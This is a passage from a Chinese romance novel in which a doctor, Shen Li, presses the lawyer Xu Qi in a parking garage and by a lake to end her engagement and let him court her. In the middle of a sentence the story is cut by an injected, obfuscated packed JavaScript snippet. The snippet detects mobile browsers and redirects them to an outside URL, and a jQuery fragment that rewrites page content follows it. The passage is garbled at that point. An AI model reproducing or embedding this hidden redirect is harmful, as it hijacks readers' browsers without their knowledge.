他的话轻描淡写,像是在陈述一个毫不费力的事实,而他那双深邃的眼睛,却直直地看着她,没有任何掩饰。
许栖眉头微皱,语气里多了几分审视:“所以你果然跟踪过我。”
沈栎的笑容不减,语气温柔:“不邀请我上去坐坐吗?”
许栖抬眼看他,干脆利落:“不邀请。”
沈栎并不生气,反而低头浅笑了一下:“是吗?可是……许律师,别忘了,你付了我六万块钱。”
许栖的眉心猛地一跳,意识到对方又要提那件荒唐事了。
沈栎意味深长地补充:“一共一千两百晚,才过去两晚而已,嗯?”
许栖:“……”
许栖盯着他,神情复杂,最后只挤出一句:“你就不能忘了那件事?”
“忘了?”沈栎轻轻挑眉,声音低沉温柔,目光却像笼着一层光,“许栖,我忘不了,也不可能忘。”
许栖喉咙一紧,像被噎住了一样,最后只能咬牙切齿地回了一句:“我当时脑子坏了才转的!”
“嗯,我知道。”沈栎的语气宠溺又包容,仿佛是在安慰一个气急败坏的小朋友,“可惜我已经收下了。”
许栖气得偏过头,不想再理他。
车里一时安静下来,只有窗外地下车库的光晕随着来往的车辆忽明忽暗。
许久后,沈栎又开口了,声音柔和却透着某种不易察觉的认真:“许栖,陈驰不在楼上,对吧?”
许栖转头看他,眼底闪过一丝惊讶。
“你到底想干什么?”她终于开口,语气里藏着一丝疲惫。
沈栎静静地看着她,目光深沉,声音低柔,带着请求:“许栖,你退婚吧。”
许栖怔了一下,像是没听清:“什么?”
“退婚。”他重复了一遍,语气温和,却不容置喙,“你本来就没有多爱陈驰。”
许栖:“……”
许栖:“哦?你凭什么这么觉得。”
沈栎:“你要是爱他,你就不会和我偷情!”
许栖:“……”
许栖不自在。
对沈栎斩钉截铁的态度不自在,对“偷情”两个字不自在。
许栖转头,尽量不去看他的眼神:“我爱不爱他,跟你没关系。”
“和我有没有关系,你心里清楚。”沈栎的声音不急不缓,带着一种无形的压迫感,“否则,昨晚的事情就不会发生。”
他的话像一根刺,精准地扎在了许栖的心口。她深吸了一口气,努力让自己的语气保持冷静:“昨晚是个意外。”
“意外?”沈栎低笑了一声,“一次是意外,两次,三次呢?许栖,我们做过多少次了?”
许栖:……
许栖直接下车,准备走了。
沈栎却不动声色地拦住了她,修长的手轻轻按住她的手腕,力道恰到好处:“许栖,你要说服我可以,但别骗你自己。”
许栖盯着他,眼底多了一抹愠怒:“沈栎,你到底要纠缠到什么时候?”
“到你退婚为止。”他毫不避讳,语气轻缓却字字坚定,“陈驰不在楼上,因为他从来不是真正适合你的那个人。而我不同。”
他顿了顿,语气低了几分,仿佛叹息:“你可以假装风平浪静、无事发生,甚至你也可以继续脚踏两只船,但我不会退。”
许栖:“……”
许栖:“我什么时候脚踏两只船?”
许栖冷笑:“我不爱陈驰,不代表我就爱你。沈栎,你别太高看你自己。你和我不过就是——”
沈栎眼中闪过受伤,但他飞快地在许栖唇边啄了一下,堵住她未说出口的话:“没关系,起码你的身体喜欢我。”
许栖:……
许栖深吸了一口气,冷冷地看着他:“沈栎,你什么时候变成这样的?还要不要脸了?”
沈栎眨了眨眼,脸上却带着一点不以为然的笑意:“要脸啊。可在你面前,脸算什么?”
许栖被他的厚脸皮气得发笑:“我真是小看你了。”
“那就别小看。”沈栎的语气温柔极了,眼神却带着笃定,“许栖,我不是随便说说。我既然回来了,就不会让你从我身边跑掉。”
许栖有点累了。
她从不缺追求者,尤其是这几年,律师和网红的双重身份让她见过太多“言辞漂亮”的人。法庭上的辩护词、商务场合的恭维话、社交媒体上的甜言蜜语,她听得太多,早就免疫了。
更何况,情话从来都是最廉价的东西。
她不信那些动听的承诺,也不信任何人能真的做到“说到做到”。
所以沈栎这些话,在她听来,也不过也是毫无意义的“漂亮话”罢了。
“你真是够了。”许栖摆手,语气不耐,“别跟着我了,不然我报警。”
她要是这么好追,她早和别的男人结婚了。
沈栎却不慌不忙,只神色里带着一丝可怜兮兮:“许栖,我可是医生,又不是罪犯。就算你报警,也只是浪费警察时间而已。”
“沈栎!”许栖语气冰冷。“别这么难看。”
沈栎轻轻叹了口气,语气软得像羽毛:“许栖,我也不想这样,可你不肯给我机会,我只能厚着脸皮了。”
“你的确是厚脸皮。”许栖眼神里满是嘲讽,“沈栎,你怎么变成了这样?”
“随你怎么说。”他低低笑了笑,语气依旧温柔得让人心烦,“反正你骂我也好,赶我走也罢,我今晚是不会走的。”
“你!”许栖被他气得语塞,她干脆往前,脚步加快,想甩开他。
沈栎却轻而易举地跟了上来,步伐不疾不徐,像是习惯了她的所有躲避。他伸手去接她手里的包,声音沉静又带着些许纵容:“我帮你拿。”
许栖侧身避开,语气淡漠:“不用。”
沈栎收回手,唇角微微抿了抿,仿佛早知她会如此。可他刚要开口,旁边忽然传来一声稚嫩的童音——
“爸爸妈妈,这两个叔叔阿姨是不是在吵架啊?”
两人同时一顿,循声看去。
一对年轻夫妻牵着孩子正从不远处经过,小孩睁着圆溜溜的眼睛,好奇地盯着他们看,而那对夫妻神色略显尴尬,却又忍不住多瞧了他们几眼。
许栖脸色一僵,脊背下意识挺直。
沈栎却轻笑了一声,眼底隐隐透着点无奈。他趁机飞快地接过她的包,语气沉稳又带着点不易察觉的哄劝意味:“许栖,地下车库人来人往的,你确定要在这里闹?”
许栖狠狠瞪他一眼,眼底是克制的怒意。
沈栎却不紧不慢地补了一句:“你要是觉得不够吸引眼球,我可以再大声一点,喊两句‘亲爱的,我错了,别生气了’。”
许栖顿时警觉,目光像刀子一样剜过去:“你敢?”
沈栎微微一笑,语调温和:“你说得啊。”话音未落,他果然抬高了声音,带着几分从容又分寸恰到好处的戏谑:“亲爱的,我错了——”
许栖猛地伸手捂住他的嘴。
不远处,那一家三口的脚步一顿,好奇地回头看向他们。
许栖脸色铁青,指尖微微收紧。而被捂住嘴的沈栎倒是丝毫不慌,眼尾带着笑,目光温沉如墨,忽然,轻轻舔了一下她的掌心。
电流般的触感顺着神经窜入四肢。
许栖猛地松手,像是被烫到了一样,目光警告地扫向他,指尖微微蜷起。
沈栎却依旧站得端正,神情沉稳克制,仿佛方才那个动作只是错觉。
“沈栎,”许栖再次说道:“你什么时候变成这样了?以前的你不是这样的!”
她的语气里,颇有几分痛心疾首的意味。
沈栎终于垂眸,像是在回味她的话。几秒后,他抬眼看向她,目光沉静,像是透着一丝怀旧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139063|163594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的意味,轻声重复:“以前的我?”
他顿了顿,低笑了一下,语气自嘲而清晰:“以前的我是个不敢表达心意的混蛋。而现在,”他目光凝视着她,“我只是希望,能再努力一次。”
他的目光太过专注,叫人心悸。
许栖微微一怔,像是没想到他会这么说。
可下一秒,她就冷冷勾唇,语气锋利:“努力一次?是想用这些苍白的话感动我,还是打算死缠烂打,把我拖到妥协?”
沈栎静静地看着她,半晌,轻叹了口气,声音仍然沉稳:“许律师,我不擅长耍花招。”
他的眼神柔和,却透着某种坚定:“如果我说了什么让你不舒服,我可以道歉。”
话音微顿,他低低地补充,嗓音比刚才更沉了一分:“但‘努力一次’的意思很简单,我不想再错过你。”
许栖指尖一紧。
她侧过脸,仿佛不屑,嗓音清淡:“别再说这些无聊的情话了,沈栎,没用的。”
沈栎没有立刻接话,而是看着她,目光温柔而克制。
昏黄的车库灯光投在她身上,衬得她脸颊的红晕更深了一分。她微醺,眸色慵懒而冷艳,整个人艳丽得让人移不开眼,却又带着疏离的锋芒,像一簇带刺的玫瑰。
他忽然低低地笑了声,嗓音沉缓:“许栖。”
她不耐地抬眼。
“你醉了。”沈栎语调平稳,可尾音却透着一丝不易察觉的温柔,“醉得比平时还漂亮。”
醉了?
她的确喝了不少酒。
可她的醉意,是因为,陈驰。
她今晚在松云亭,一杯一杯地,与陈驰喝酒。所以她此刻,才会带着一身酒气,面对着沈栎。
想到这儿,许栖忽然觉得烦躁。
许栖冷冷转头,语气透着淡淡的疲惫:“沈栎,我今晚没空陪你玩这些文字游戏。你想说什么,直接说。”
沈栎不疾不徐地举起她的包,神色坦然,语气温和:“行,直接说。但我们能先换个地方再聊吗?这里的环境太差,你站着也累。”他停顿了片刻,语调低缓,“我保证,不会聊太久的。”
许栖挑眉,目光里带着几分嘲弄:“换个地方?沈栎,说来说去,你就是想去我的家吧。”
沈栎坦然一笑,毫不遮掩:“我不否认这个意图,但如果你坚持不欢迎,我也不会勉强。”
许栖直白:“那我告诉你,不欢迎。”
过去了,就是过去了。
糟心的前任,有陈驰一个就够了。她不想再添上一个沈栎。
沈栎神色微微一滞,但很快就恢复了平静。他轻叹一声,低声道:“那就换个地方吧。你喝酒了,我车就停在附近,我载你。”
许栖懒得多说,点了点头。
她也想要,彻底地和沈栎讲清楚。从此以后,桥归桥,路归路,互相再无瓜葛。
沈栎的车,就停在许栖小区外的街道上,是辆低调但不失质感的黑色SUV。车里很安静,只有淡淡的木质香气。许栖靠着车窗,头微微向后仰,一脸疲惫却依旧美得惊艳。
上车后,两人就开始沉默。
天色已晚,城市内的商场也大多关了门,还剩些二十四小时的便利店和酒吧。但显然,已经微醺的许栖,是不愿意再踏足这些地方的。
沈栎漫无目的地开着车。
许栖起初还看着窗外,后来她干脆靠在椅背上闭目养神。
最终,车驶出市区,街道上的霓虹渐渐被寂静的夜景取代。等许栖再睁眼时,沈栎已经把车停在了湖边。
夜晚的湖面被月光映得波光粼粼,四周只有远处树影晃动,安静而清凉。
“说吧,沈医生。”许栖率先打破沉默,语气里透着几分烦躁,“你到底想干嘛?”
沈栎转头看她,眼神坦然,声音依旧温柔:“难道还不明显吗?许栖,我想追求你。”